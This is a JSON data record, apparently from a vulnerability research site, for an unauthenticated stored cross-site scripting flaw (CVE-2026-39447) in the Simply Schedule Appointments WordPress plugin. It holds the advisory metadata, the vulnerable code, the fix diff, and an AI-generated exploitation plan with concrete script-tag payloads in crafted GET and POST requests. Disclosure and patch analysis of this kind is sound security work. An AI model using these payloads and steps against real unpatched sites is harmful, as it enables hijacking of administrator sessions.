[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$frlKSilQX7fvdG-Nk4g-OZYLZ0f-b0chnqLboMmYZt_o":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-39447","appointment-booking-calendar-simply-schedule-appointments-booking-plugin-unauthenticated-stored-cross-site-scripting","Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin \u003C= 1.6.10.6 - Unauthenticated Stored Cross-Site Scripting","The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.6.10.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","simply-schedule-appointments",null,"\u003C=1.6.10.6","1.6.11.0","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-05-28 00:00:00","2026-06-01 16:21:15",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7e3ad5fd-e190-48c8-864f-11cc7342080a?source=api-prod",5,[22,23,24,25,26,27,28,29],"CHANGELOG.md","admin-app\u002Fdist\u002Fstatic\u002Fcss\u002Fapp.css","admin-app\u002Fdist\u002Fstatic\u002Fjs\u002Fapp.js","booking-app-new\u002Fdist\u002Fstatic\u002Fjs\u002Fapp.js","booking-app-new\u002Fiframe-inner.php","includes\u002Fclass-appointment-model.php","includes\u002Fclass-availability-cache.php","includes\u002Fclass-elementor.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-39447\n\n## 1. Vulnerability Summary\nThe **Simply Schedule Appointments** plugin (\u003C= 1.6.10.6) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw exists because the plugin fails to properly sanitize and escape user-controlled input during the appointment booking process. Specifically, parameters passed to the booking iframe (like `booking_title`) are processed using a dangerous combination of functions (`html_entity_decode(urldecode(esc_attr(...)))`) that effectively bypasses attribute escaping, allowing an attacker to inject scripts that are stored in the database and subsequently executed in the context of an administrative user.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** The booking iframe entry point, typically accessed via `admin-ajax.php?action=ssa_booking_app_iframe_inner`.\n*   **Vulnerable Parameter:** `booking_title` (and potentially `booking_url` or `booking_post_id`) passed via `GET`.\n*   **Authentication:** None required (Unauthenticated).\n*   **Preconditions:** An active \"Appointment Type\" must exist and be accessible via a public booking page or shortcode.\n\n## 3. Code Flow\n1.  **Entry Point:** `booking-app-new\u002Fiframe-inner.php`\n2.  **Processing (Lines 123-131):**\n    ```php\n    if( isset( $_GET['booking_title'] ) ) {\n      \u002F\u002F VULNERABLE: html_entity_decode reverses the protection of esc_attr\n      $ssa_booking_url_settings['booking_title'] = html_entity_decode( urldecode( esc_attr( $_GET['booking_title'] ) ) );\n    }\n    ```\n3.  **Variable Localization:** The `$ssa_booking_url_settings` array is serialized into a JavaScript object (e.g., `window.ssa_booking_app_info`) and rendered into the iframe's HTML.\n4.  **Submission:** When a user completes a booking, the Vue.js app (`booking-app-new\u002Fdist\u002Fstatic\u002Fjs\u002Fapp.js`) includes this `booking_title` in the payload sent to the server (via AJAX action `ssa_submit_appointment` or similar).\n5.  **Storage:** `includes\u002Fclass-appointment-model.php` processes the insert. While `cleanup_customer_information` (Line 233) sanitizes the `customer_information` array using `sanitize_textarea_field`, metadata fields like `booking_title` (stored in the appointments table) are often not subjected to the same level of filtering.\n6.  **Execution:** An administrator logs into the WordPress dashboard and views the \"Appointments\" list. The Admin App (`admin-app\u002Fdist\u002Fstatic\u002Fjs\u002Fapp.js`) fetches the appointment data via the REST API and renders the `booking_title` using a method that does not escape HTML (e.g., `v-html`), triggering the XSS.\n\n## 4. Nonce Acquisition Strategy\nThe booking iframe is loaded via a WordPress AJAX action. Unauthenticated users need the `ssa_booking_app_iframe_inner` action to load the app.\n\n1.  **Shortcode Identification:** The plugin uses the `[ssa_booking]` shortcode.\n2.  **Setup:** Create a public page with this shortcode.\n3.  **Extraction:**\n    - Navigate to the created page.\n    - The plugin localizes data into the global `ssa_booking_app_info` object.\n    - Use `browser_eval` to extract the iframe URL and any required nonces.\n    - **JS Variable:** `window.ssa_booking_app_info`\n    - **Nonce Key:** `window.ssa_booking_app_info?.nonce` (for the booking submission) or `window.ssa_booking_app_info?.iframe_url`.\n\n## 5. Exploitation Strategy\n1.  **Initialize Environment:** Create an appointment type and a public page with the `[ssa_booking]` shortcode.\n2.  **Craft Payload:** \n    - `booking_title`: `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n    - URL-encode the payload for the initial GET request.\n3.  **Step 1: Load Booking Iframe:**\n    Request the iframe with the malicious parameter:\n    `GET \u002Fwp-admin\u002Fadmin-ajax.php?action=ssa_booking_app_iframe_inner&booking_title=%22%3E%3Cscript%3Ealert(document.domain)%3C\u002Fscript%3E`\n4.  **Step 2: Submit Booking:**\n    In the context of the booking app, perform a POST request to book a slot. The payload must include the malicious `booking_title`.\n    - **URL:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n    - **Body:** `action=ssa_submit_appointment&appointment_type_id=1&start_date=...&booking_title=\">\u003Cscript>alert(1)\u003C\u002Fscript>&customer_information[name]=Attacker&customer_information[email]=attacker@example.com`\n5.  **Step 3: Trigger XSS:**\n    Login as an Admin and navigate to `wp-admin\u002Fadmin.php?page=simply-schedule-appointments`. The app will load the appointments list, fetch the malicious record, and execute the script.\n\n## 6. Test Data Setup\n1.  **Create Appointment Type:**\n    ```bash\n    wp ssa create_appointment_type --title=\"Consultation\" --slug=\"consultation\"\n    ```\n2.  **Create Booking Page:**\n    ```bash\n    wp post create --post_type=page --post_title=\"Book Now\" --post_status=publish --post_content='[ssa_booking type=\"consultation\"]'\n    ```\n\n## 7. Expected Results\n*   The booking submission is successful, and a new appointment record is created in the `wp_ssa_appointments` table.\n*   The `booking_title` column for the new record contains the raw script tag `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`.\n*   When the Admin views the SSA dashboard, a JavaScript alert with the site's domain appears.\n\n## 8. Verification Steps\n1.  **Check Database:**\n    ```bash\n    wp db query \"SELECT booking_title FROM wp_ssa_appointments ORDER BY id DESC LIMIT 1\"\n    ```\n    Confirm the output matches the injected payload.\n2.  **Check Admin UI:**\n    Navigate to the SSA dashboard in the browser and verify the alert triggers.\n\n## 9. Alternative Approaches\n*   **Custom Field Bypass:** If `booking_title` is sanitized, check if \"Custom Fields\" (defined in `custom_customer_information`) are rendered using `v-html` in the admin view. Even if `sanitize_textarea_field` is used on save, it allows many characters that Vue's `v-html` might process dangerously if the context is an attribute.\n*   **`booking_url` Parameter:** Test if `$_GET['booking_url']` is handled similarly to `booking_title` in `iframe-inner.php`.\n*   **Notification Templates:** The plugin allows admins to customize email notifications. If these templates support placeholders like `{{booking_title}}` and are rendered in an admin-accessible \"Preview\" mode, the XSS could trigger there.","The Simply Schedule Appointments plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) due to insufficient sanitization of the 'booking_title' parameter in the booking iframe. Attackers can inject malicious scripts via a URL parameter which are then stored in the database during appointment submission and executed when an administrator views the appointment list.","\u002F\u002F booking-app-new\u002Fiframe-inner.php lines 128-131\n\nif( isset( $_GET['booking_title'] ) ) {\n  $ssa_booking_url_settings['booking_title'] = html_entity_decode( urldecode( esc_attr( $_GET['booking_title'] ) ) );\n}","--- a\u002Fbooking-app-new\u002Fiframe-inner.php\n+++ b\u002Fbooking-app-new\u002Fiframe-inner.php\n@@ -127,5 +127,5 @@\n if( isset( $_GET['booking_title'] ) ) {\n-  $ssa_booking_url_settings['booking_title'] = html_entity_decode( urldecode( esc_attr( $_GET['booking_title'] ) ) );\n+  $ssa_booking_url_settings['booking_title'] = sanitize_text_field( wp_unslash( $_GET['booking_title'] ) );\n }","The exploit is a multi-step stored XSS attack that requires no authentication. \n\n1. Initial Payload Injection: An attacker crafts a URL targeting the plugin's booking iframe endpoint (`wp-admin\u002Fadmin-ajax.php?action=ssa_booking_app_iframe_inner`) containing a malicious script in the `booking_title` parameter (e.g., `?booking_title=\">\u003Cscript>alert(1)\u003C\u002Fscript>`).\n2. Bypassing Escaping: The plugin processes this parameter using `html_entity_decode(urldecode(esc_attr(...)))`. The decoding functions effectively neutralize the protection provided by `esc_attr`, allowing the raw script tags to be passed into the booking application's state.\n3. Persistence: The attacker (or an unwitting user) completes a booking on this page. The Vue.js frontend includes the malicious `booking_title` in the `ssa_submit_appointment` AJAX request. The server saves this title into the `wp_ssa_appointments` database table without further sanitization.\n4. Execution: When an administrator logs in and accesses the 'Appointments' management page, the dashboard fetches the malicious record. Because the admin interface renders the title using an unsafe method (like Vue's `v-html`), the script executes in the context of the administrator's session.","gemini-3-flash-preview","2026-06-04 16:02:11","2026-06-04 16:03:15",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.6.10.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimply-schedule-appointments\u002Ftags\u002F1.6.10.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsimply-schedule-appointments.1.6.10.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimply-schedule-appointments\u002Ftags\u002F1.6.11.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsimply-schedule-appointments.1.6.11.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimply-schedule-appointments\u002Ftags"]